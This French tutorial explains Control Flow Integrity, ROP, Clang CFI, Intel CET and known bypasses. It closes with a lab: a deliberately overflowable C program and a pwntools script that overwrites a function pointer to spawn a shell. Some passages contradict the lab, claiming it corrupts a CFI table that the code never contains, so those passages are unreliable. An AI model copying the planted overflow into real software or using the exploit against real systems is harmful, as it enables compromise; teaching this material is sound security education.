01 - Qu'est-ce que le Control Flow Integrity ?

Le Control Flow Integrity, ou CFI, est une propriété de sécurité formelle qui stipule qu'un programme en cours d'exécution ne peut emprunter que les chemins de code qui ont été explicitement prévus par son auteur. Autrement dit, chaque branchement indirect, qu'il s'agisse d'un retour de fonction, d'un appel via un pointeur, ou d'un saut calculé, doit toujours aboutir à une destination appartenant à un ensemble de cibles légitimes déterminé à l'avance.

La notion a été formalisée en 2005 par Martin Abadi, Mihai Budiu, Ulfar Erlingsson et Jay Ligatti dans un papier fondateur intitulé "Control-Flow Integrity: Principles, Implémentations, and Applications". Leur constat de départ est simple mais crucial : les mécanismes de protection mémoire de l'époque (ASLR, DEP/NX) réduisaient la surface d'attaque mais ne l'éliminaient pas, car un attaquant disposant d'une primitive de lecture mémoire pouvait toujours rediriger l'exécution vers du code existant.

Définition formelle

Le CFI impose que, pour tout transfert de contrôle indirect t dans un programme P, la destination effective soit toujours un élément de l'ensemble Targets(t) prédicalement défini par l'analyse statique du programme. Si ce n'est pas le cas, le comportement est indéfini et une politique de sécurité (terminaison, log, alerte) est appliquée.

En pratique, le CFI agit comme un garde-fou de dernière ligne. Il ne supprime pas les vulnérabilités mémoire : les buffer overflows et use-after-free restent des bugs. En revanche, il rend leur exploitation beaucoup plus difficile en empêchant un attaquant de rediriger le flot d'exécution vers une cible arbitraire une fois qu'il a corrompu de la mémoire.

02 - Contexte historique : la course aux armements

Pour bien comprendre pourquoi le CFI est apparu, il faut retracer l'évolution des techniques d'exploitation et des contre-mesures qui les ont précédées. Chaque protection a engendré de nouvelles techniques d'attaque, dans une dynamique de course aux armements permanente.

Les années 1990 : l'exploitation naive

Les premières attaques par buffer overflow (popularisées par l'article d'Aleph One, "Smashing the Stack for Fun and Profit", 1996) reposaient sur une technique directe : écraser l'adresse de retour sur la pile pour pointer vers du shellcode injecté dans le buffer lui-même. Le processeur exécutait alors ce code arbitraire avec tous les privilèges du processus vulnérable.

NX/DEP : l'interdiction d'execution

La réponse des systèmes d'exploitation et des processeurs a été d'introduire le bit NX (No-eXecute) au niveau matériel, et son équivalent logiciel DEP (Data Execution Prevention) sous Windows. Le principe : une page mémoire ne peut pas être à la fois writable et exécutable. Le shellcode injecté dans un buffer de données ne peut plus être exécuté.

Le Return-Oriented Programming : contourner NX

En 2007, Hovav Shacham publie le travail fondateur sur le Return-Oriented Programming (ROP). L'idée : puisque NX empêche d'exécuter du code injecté, on va réutiliser des fragments de code déjà présents dans le binaire ou les bibliothèques. Ces fragments, appelés gadgets, sont de courtes séquences d'instructions qui se terminent toutes par une instruction ret. En construisant une chaîne d'adresses de gadgets sur la pile, l'attaquant peut exécuter des opérations arbitraires, tout en restant dans des zones mémoire marquées exécutables.

Pourquoi ROP est si puissant

Un binaire typique, avec ses bibliothèques linkées (libc, etc.), contient des milliers de gadgets. Des outils comme ROPgadget, ropper ou pwntools permettent de les trouver automatiquement. Il est souvent possible de construire une chaîne Turing-complète à partir des seuls gadgets disponibles dans un binaire.

ASLR : brouiller les adresses

L'Address Space Layout Randomization (ASLR), activée dans le noyau Linux depuis 2005 et Windows Vista depuis 2007, randomise les adresses de base des segments (pile, tas, bibliothèques). Sans connaître les adresses exactes des gadgets, construire une chaîne ROP devient difficile, mais pas impossible si une fuite mémoire (information leak) est disponible.

Le CFI comme réponse systemique

C'est dans ce contexte que le CFI prend tout son sens. L'idée est de sortir de la logique réactive (boucher un trou, trouver un contournement, reboucher) pour adopter une propriété de sécurité structurelle : même si un attaquant connaît toutes les adresses du programme et peut corrompre de la mémoire, il ne peut pas rediriger les sauts indirects vers des cibles qu'il choisit librement.

03 - Les flots de contrôle en C et C++

Avant de comprendre comment le CFI les protège, il faut distinguer les différents types de transferts de contrôle qu'un programme peut effectuer, et identifier lesquels sont dangereux.

Transferts directs vs transferts indirects

Un transfert est dit direct lorsque sa destination est encodée en dur dans l'instruction elle-même au moment de la compilation. L'instruction call foo en assembleur x86 encode directement le déplacement vers la fonction foo. Peu importe ce que fait l'attaquant aux données, cette instruction ira toujours vers foo.

Un transfert est dit indirect lorsque sa destination est calculée à l'exécution, à partir d'une valeur en registre ou en mémoire. C'est le cas des pointeurs de fonctions en C, des vtables en C++, et de l'instruction ret (qui saute vers l'adresse dépilée de la stack). Ces destinations peuvent être corrompues par un attaquant qui dispose d'une écriture mémoire arbitraire.

MécanismeExemple C/C++Instruction ASMRisque
Appel directfoo(args)call 0x401000Faible
Retour de fonctionreturn valretÉlevé
Pointeur de fonction(*fp)(args)call raxÉlevé
Vtable C++obj->method()call [rax+0x18]Élevé
Saut indirectgoto *ptrjmp raxMoyen

Le cas du ret mérite une attention particulière : l'adresse de retour est stockée sur la pile par l'instruction call, dans une zone mémoire souvent adjacente aux buffers locaux. Un stack overflow classique peut la corrompre directement : c'est la vulnérabilité originelle de 1996, toujours pertinente aujourd'hui.

Les vtables C++ sont un autre vecteur majeur : quand un objet est créé, un pointeur vers sa vtable (table de pointeurs vers les méthodes virtuelles) est stocké dans l'objet lui-même. Si un attaquant peut écrire dans la mémoire de l'objet via un heap overflow ou un use-after-free, il peut remplacer ce pointeur par l'adresse d'une fausse vtable pointant vers du code arbitraire.

04 - Le graphe de flot de contrôle (CFG)

Le concept central du CFI est le Control Flow Graph, ou CFG. Il s'agit d'une représentation abstraite de tous les chemins d'exécution possibles d'un programme, construite par analyse statique au moment de la compilation.

Dans un CFG, chaque nœud représente un bloc de base (une séquence d'instructions sans branchement interne), et chaque arête représente un transfert de contrôle possible. Pour chaque point de branchement indirect dans le programme, chaque call rax, chaque ret, chaque déréférencement de vtable, le CFG définit un ensemble de cibles légitimes.

Exemple conceptuel

Imaginons un programme qui dispose de deux callbacks possibles, handler_a et handler_b, appelés via un pointeur de fonction. Le CFG dira que ce site d'appel a exactement deux cibles valides : handler_a et handler_b. Si à l'exécution, le pointeur de fonction pointe vers system ou vers un gadget ROP, la vérification CFI échoue et le programme est arrêté.

Precision du CFG

La qualité d'un CFI dépend directement de la précision de son CFG. Un CFG trop permissif (qui met toutes les fonctions dans le même ensemble de cibles) offre peu de protection. Un CFG très précis (qui distingue les cibles site par site, selon les types de signatures) est beaucoup plus résistant mais plus complexe à construire.

Visualisation du CFG

Control Flow Graph (CFG) Graphe de flot de contrôle avec blocs de base, branchements conditionnels, appels indirects et validation CFI. Control Flow Graph (CFG) Entry point Bloc A init(), load_data(), compute() condition ? vrai faux Bloc B (branche vraie) push rbx; mov rax, [vtable] Bloc C (branche fausse) push rbx; xor eax, eax call rax (branchement indirect) déréférencement vtable Cibles légitimes vérifiées par CFI method_A() method_B() mth_C() shellcode (cible INTERDITE) violation CFI détectée : arrêt du programme ret (branchement indirect) retour validé par CFI Exit point Légende Bloc de base Cible légitime Branchement indirect Entrée / Sortie Transfert autorisé Chemin interdit

Le CFG peut être construit à plusieurs niveaux. La méthode la plus précise est l'analyse au niveau du compilateur (Clang/LLVM), qui dispose de toute l'information de types et peut distinguer les sites d'appel selon la signature exacte de la fonction attendue. Des analyses binaires post-compilation (comme celles effectuées par des outils de reverse engineering) sont possibles mais moins précises, car une partie de l'information de types est perdue à la compilation.

05 - CFI grossier vs CFI fin : la granularité

La granularité est le paramètre le plus important d'une implémentation CFI. Elle détermine à quel point l'ensemble des cibles valides pour chaque saut indirect est restreint.

CFI grossier (coarse-grained)

Un CFI grossier regroupe tous les sites d'appel indirects dans un ou quelques grands ensembles. Par exemple, il pourrait vérifier uniquement que la destination d'un call indirect est le début d'une fonction quelconque dans le binaire. C'est une contrainte très faible : dans un binaire typique, des centaines de fonctions sont des cibles valides, ce qui laisse beaucoup de latitude à un attaquant pour construire une chaîne d'exploitation.

Microsoft Control Flow Guard (CFG), introduit dans Windows 8.1 Update 3, est souvent cité comme un exemple de CFI à granularité intermédiaire. Il maintient une bitmap des adresses de début de fonctions valides et vérifie chaque appel indirect contre cette bitmap. Efficace contre les attaques naïves, mais plusieurs techniques de contournement ont été publiées, notamment en ciblant des fonctions "trop permissives" présentes dans l'ensemble des cibles valides.

CFI fin (fine-grained)

Un CFI fin restreint l'ensemble des cibles valides site par site. Pour un appel indirect à un endroit précis du code, seules les fonctions dont la signature de type est compatible sont des cibles valides. Clang CFI (disponible via le flag -fsanitize=cfi) implémente plusieurs variantes de CFI fin :

-fsanitize=cfi-icall protège les appels de fonctions indirects en vérifiant que la fonction appelée a exactement le bon type. -fsanitize=cfi-vcall protège les appels virtuels C++ en vérifiant que le receveur a le bon type dynamique. Ces vérifications sont bien plus restrictives et réduisent drastiquement l'espace des cibles disponibles pour un attaquant.

ApprocheGranularitéOverhead perf.Résistance
Microsoft CFGEntrées de fonctions~1%Modérée
Clang CFI icallCompatibilité de type~2-5%Bonne
Clang CFI vcallHiérarchie de classes~2-5%Bonne
Intel CET (shadow stack)Retours seulementHardwareTrès bonne
CFI maison (table sur pile)Table statique simpleMinimalFaible

06 - Implémentations réelles du CFI

Clang CFI (LLVM)

L'implémentation la plus rigoureuse sur Linux/macOS. Elle opère entièrement au niveau du compilateur et insère des vérifications inline avant chaque transfert indirect. Les métadonnées (tables de types, informations de hiérarchie de classes) sont stockées dans des sections en lecture seule du binaire, protégées par les permissions de pages. Clang CFI supporte plusieurs modes : cfi-icall, cfi-vcall, cfi-nvcall, cfi-derived-cast, cfi-unrelated-cast.

compilation - Clang CFI
# CFI complet pour les appels indirects et vtables
clang++ -flto -fsanitize=cfi -fvisibility=hidden \
        -o programme source.cpp

# Mode diagnostic (log sans crash)
clang++ -flto -fsanitize=cfi -fno-sanitize-trap=cfi \
        -fsanitize-recover=cfi -o programme source.cpp

Microsoft Control Flow Guard (CFG)

Intégré dans le compilateur MSVC et le système Windows depuis Windows 8.1 Update 3. Le mécanisme repose sur une bitmap en mémoire indiquant quelles adresses sont des débuts de fonctions valides. Avant chaque appel indirect, le compilateur insère un appel à une routine de validation du noyau. CFG est activé par défaut pour les binaires système Windows modernes.

Intel CET : Control-flow Enforcement Technology

CET est une extension matérielle introduite dans les processeurs Intel Tiger Lake (2020) et AMD Zen 3 (2020). Elle se compose de deux mécanismes complémentaires. La Shadow Stack (SS) maintient une pile d'adresses de retour séparée dans une région mémoire spéciale, accessible uniquement par des instructions privilégiées. À chaque ret, le processeur compare l'adresse dépilée de la pile normale avec celle de la shadow stack : toute discordance déclenche une exception. La deuxième fonctionnalité, Indirect Branch Tracking (IBT), exige que chaque destination d'un saut indirect commence par une instruction spéciale endbr64. Toute tentative de sauter vers un gadget interne à une fonction (sans endbr64) est bloquée au niveau matériel.

Avantage de CET

Étant implémentée en hardware, la Shadow Stack est beaucoup plus difficile à contourner qu'un CFI logiciel. Elle ne dépend pas de la précision du CFG et protège tous les retours de fonctions, même ceux de bibliothèques non recompilées avec CFI.

07 - Limites du CFI et vecteurs d'attaque

Malgré sa puissance, le CFI n'est pas une panacée. Des chercheurs ont identifié plusieurs classes d'attaques qui permettent de le contourner, même dans ses variantes les plus rigoureuses.

Attaques sur le CFG lui-meme

Si les métadonnées du CFG (tables de types, bitmaps de fonctions valides) sont stockées dans une région mémoire accessible en écriture, un attaquant disposant d'une primitive d'écriture arbitraire peut les corrompre. C'est précisément la vulnérabilité que nous exploiterons dans le laboratoire : une table CFI stockée sur la pile est corruptible par le même overflow qui corrompt le callback.

Call-oriented Programming (COP)

Analogue au ROP, le COP exploite le fait qu'un CFI grossier autorise des centaines de fonctions comme cibles valides. Un attaquant peut enchaîner des appels vers des fonctions légitimes mais "dangereuses", des fonctions dont la combinaison produit un effet malveillant. Si system() est dans l'ensemble des cibles valides (ce qui est souvent le cas dans un programme qui l'utilise légitimement), un attaquant peut y sauter directement.

Jump-oriented Programming (JOP)

Le JOP est une variante du ROP qui utilise des gadgets se terminant par jmp reg plutôt que ret. Un CFI fin protégeant les retours mais pas tous les sauts indirects peut être contourné par cette technique.

TOCTTOU sur les verifications CFI

Time-of-Check-Time-of-Use : si la vérification CFI et l'utilisation effective du pointeur ne sont pas atomiques, un thread concurrent peut modifier le pointeur entre les deux. Cette fenêtre de race condition est généralement très étroite mais a été démontrée dans des contextes spécifiques.

La lecon fondamentale

Un CFI est aussi fort que ses hypothèses. Si l'attaquant peut corrompre les métadonnées du CFI lui-même, ou si l'ensemble des cibles valides est trop large, la protection est contournée. Un CFI robuste doit stocker ses données de référence dans une mémoire immuable et utiliser un CFG aussi précis que possible.

08 - Data-Oriented Programming (DOP)

Le Data-Oriented Programming est une technique d'exploitation avancée formalisée par Hong Hu, Shweta Shinde, Sendroiu Adrian, Prateek Saxena et Zhenkai Liang en 2016. Là où le ROP et le JOP détournent le flot de contrôle, le DOP manipule uniquement des données pour produire un effet malveillant, tout en maintenant un flot de contrôle apparemment légitime.

Le principe

Dans un programme vulnérable, certaines variables de données influencent le comportement du programme de façon significative : elles sont lues lors de comparaisons, utilisées comme indices, passées comme arguments à des fonctions sensibles. Un attaquant DOP identifie ces variables (data gadgets) et exploite une primitive d'écriture pour les corrompre, orientant ainsi le programme vers un comportement non prévu sans jamais modifier une adresse de retour ni violer un invariant CFI.

Pourquoi c'est puissant face au CFI

Un CFI ne surveille que les transferts de contrôle. Il ne dit rien sur les données. Si un attaquant peut amener le programme à appeler system("/bin/sh") via un chemin de code parfaitement légitime, en corrompant l'argument passé à une fonction autorisée, ou en corrompant une variable de condition, le CFI ne voit rien d'anormal.

Dans notre laboratoire, nous allons utiliser une forme de DOP : plutôt que de modifier une adresse de retour, nous allons corrompre la table de vérification CFI elle-même, qui est une donnée sur la pile. Le flot de contrôle passe par le chemin "légitime" d'appel du callback, mais les données qui définissent ce qui est "légitime" ont été altérées.

09 - Contre-mesures et CFI robuste

Face aux vecteurs d'attaque identifiés, plusieurs bonnes pratiques permettent de renforcer considérablement un mécanisme CFI.

Immuabilité des métadonnées

La règle la plus importante : les tables de fonctions valides, les bitmaps CFG, et toute métadonnée utilisée pour les vérifications CFI doivent être stockées dans des sections en lecture seule (.rodata) ou dans des pages mémoire marquées non-writable après initialisation (mprotect(PROT_READ)). Un attaquant qui ne peut pas écrire dans ces régions ne peut pas corrompre le CFG.

Cloisonnement mémoire

Les données de vérification ne doivent jamais être adjacentes aux buffers manipulés par l'utilisateur. Idéalement, elles sont dans un segment mémoire séparé, protégé par des guard pages.

CFG le plus fin possible

Minimiser l'ensemble des cibles valides pour chaque site d'appel. Si un pointeur de fonction est toujours utilisé pour appeler des fonctions de type void (*)(int), seules les fonctions avec cette signature exacte devraient être dans l'ensemble des cibles.

Defense en profondeur

Le CFI ne doit pas être la seule ligne de défense. Combiné avec SafeStack (qui sépare la pile de retour des buffers de données), avec des stack canaries, avec l'ASLR et avec des sanitizers mémoire en développement (AddressSanitizer, MemorySanitizer), il forme une défense en profondeur bien plus robuste.

1
Métadonnées en mémoire immuable
Stocker les tables CFI dans des sections .rodata ou des pages protégées avec mprotect(PROT_READ) après initialisation.
2
Utiliser un compilateur CFI éprouvé
Préférer Clang CFI (-fsanitize=cfi) ou Intel CET plutôt qu'une implémentation maison. Les implémentations maison ont presque invariablement des failles.
3
SafeStack + stack canaries
SafeStack (-fsanitize=safe-stack) sépare la pile de retour des buffers locaux, neutralisant les overflows classiques. Les canaries détectent les corruptions avant le retour.
4
Bounded reads : ne jamais lire plus que la taille du buffer
La cause profonde reste toujours la même : lire des données non bornées dans un buffer fixe. read(fd, buf, sizeof(buf)) élimine la vulnérabilité à la source.

10 - Laboratoire : vuln, un CFI fin réel à contourner

⚗ Laboratoire pratique
Ce chapitre applique tous les concepts vus précédemment sur un binaire compilé avec Clang CFI fin réel (-fsanitize=cfi -fvisibility=hidden -flto). Le challenge révèle une limite fondamentale que même un CFI fin ne peut pas couvrir seul.

Code source complet

vuln.c
//clang -fno-pie -no-pie -flto -fsanitize=cfi -fvisibility=hidden -o vuln vuln.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((used))
void admin_shell() {
    printf("[+] Accès root accordé.\n");
    system("/bin/sh");
}

void regular_user() {
    printf("Bonjour, utilisateur standard !\n");
}

struct UserData {
    char buffer[32];
    void (*action)(); 
};

void process_user() {
    struct UserData data;
    data.action = regular_user;
    
    printf("Entrez votre nom : ");
    fflush(stdout);
    
    // VULNÉRABILITÉ : On lit 128 octets dans un buffer prévu pour 32.
    read(0, data.buffer, 128); 
    
    // Appel indirect
    data.action(); 
}

int main() {
    process_user();
    return 0;
}

Contexte : la commande de compilation

Le programme vuln.c est compilé directement avec les flags Clang CFI de production :

compilation - Clang CFI
clang -fno-pie -no-pie -flto -fsanitize=cfi -fvisibility=hidden -o vuln vuln.c

-fno-pie -no-pie désactive le Position Independent Executable : les adresses des fonctions sont fixes et lisibles directement depuis la table de symboles ELF, sans besoin de fuite mémoire. -flto active la Link-Time Optimization, prérequis technique de Clang CFI : le compilateur a besoin d'une vision globale du programme pour construire son CFG et insérer les vérifications de type. -fsanitize=cfi avec -fvisibility=hidden est l'implémentation CFI fine de Clang LLVM. Le compilateur construit un CFG précis et insère des vérifications de compatibilité de type par site d'appel avant chaque transfert indirect.

La question centrale

Si Clang CFI fin est actif et insère de vraies vérifications par site d'appel, comment est-il possible de rediriger l'exécution vers admin_shell() ? La réponse ne tient pas dans un contournement du CFI du compilateur. Elle tient dans ce que le CFI vérifie exactement, et ce qu'il est structurellement incapable de vérifier.

La limite sémantique du CFI fin

Clang CFI fin vérifie les types, pas les intentions. Il ne sait pas quelles fonctions sont censées être appelées par ce chemin précis : il sait uniquement lesquelles ont la bonne signature. regular_user et admin_shell ont toutes deux la signature void (*)(). Pour le compilateur, les deux sont des cibles équivalentes et légitimes.

La vulnérabilité : le stack buffer overflow

La faille est explicite dans le source. read accepte 128 octets pour un buffer de seulement 32 octets :

vuln.c
struct UserData {
    char buffer[32];           // 32 octets seulement
    void (*action)();          // pointeur de fonction
};

read(0, data.buffer, 128);     // OVERFLOW : lit 128 octets

L'overflow écrit 128 octets à partir de l'adresse de data.buffer. Les 32 premiers octets remplissent le buffer, les octets 32-39 écrasent data.action avec l'adresse que l'attaquant choisit. C'est du Data-Oriented Programming pur : aucune modification de flot de contrôle classique, uniquement une corruption de données.

Memory_Layout // struct UserData Overflow
+0x00
data.buffer (32 bytes) Padding ('A' × 32)
+0x20
data.action (8 bytes) ← OVERWRITTEN: addr(admin_shell)
+0x28
Reste de la pile (88 bytes) Débordement continu ('A' × 88)

Enchaînement des vérifications après le payload

1
Construction du payload
L'adresse de admin_shell est récupérée depuis la table ELF. On construit : 32 octets de remplissage ("A") suivi de l'adresse encodée en little-endian sur 8 octets via p64(admin_addr).
2
Corruption de data.action
Octets 32-39 du payload écrasent le pointeur data.action avec l'adresse d'admin_shell.
3
Clang CFI valide le type
Le code CFI inséré par Clang vérifie que admin_shell est de type void (*)(). compatible avec le site d'appel. C'est le cas : aucun abort().
4
Appel effectif de admin_shell
data.action() appelle admin_shell, qui exécute system("/bin/sh"). Un shell est obtenu.

Script d'exploitation

sh.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

exe = './vuln'
elf = ELF(exe)

def exploit():
    # Récupère l'adresse de admin_shell depuis la table de symboles ELF
    # Possible car -fno-pie désactive l'ASLR sur le binaire lui-même
    admin_addr = elf.symbols['admin_shell']
    log.info(f"Adresse de admin_shell() trouvée : {hex(admin_addr)}")

    # Construction du payload : 32 octets de padding + l'adresse de admin_shell
    offset = 32
    padding = b"A" * offset
    payload = padding + p64(admin_addr)
    
    log.info(f"Payload généré ({len(payload)} octets)")

    # Lancement du processus
    p = process(exe)

    # On attend que le programme affiche son prompt
    p.recvuntil(b"Entrez votre nom : ")

    # On envoie le payload
    # send() plutôt que sendline() : on ne veut pas ajouter de retour à la ligne inutile
    p.send(payload)

    # On prend la main sur le shell interactif obtenu
    p.interactive()

if __name__ == '__main__':
    exploit()

Ce qu'il aurait fallu pour résister

La correction nécessite deux actions complémentaires. D'abord, stocker le pointeur action dans une région protégée ou le valider contre une whitelist en mémoire immuable. Ensuite, borner la lecture : read(0, data.buffer, sizeof(data.buffer)) supprime la vulnérabilité à la source. Ces deux corrections ensemble rendent cet exploit impossible, indépendamment du CFI du compilateur.

La leçon du laboratoire

Un CFI fin de compilateur ne remplace pas une architecture mémoire rigoureuse. Si les données sensibles (pointeurs de fonction, tables de vérification) vivent dans une région mutable adjacente aux buffers utilisateur, elles peuvent être corrompues avant même que le CFI du compilateur n'ait l'occasion d'intervenir. La défense en profondeur est la seule réponse complète.

11 - References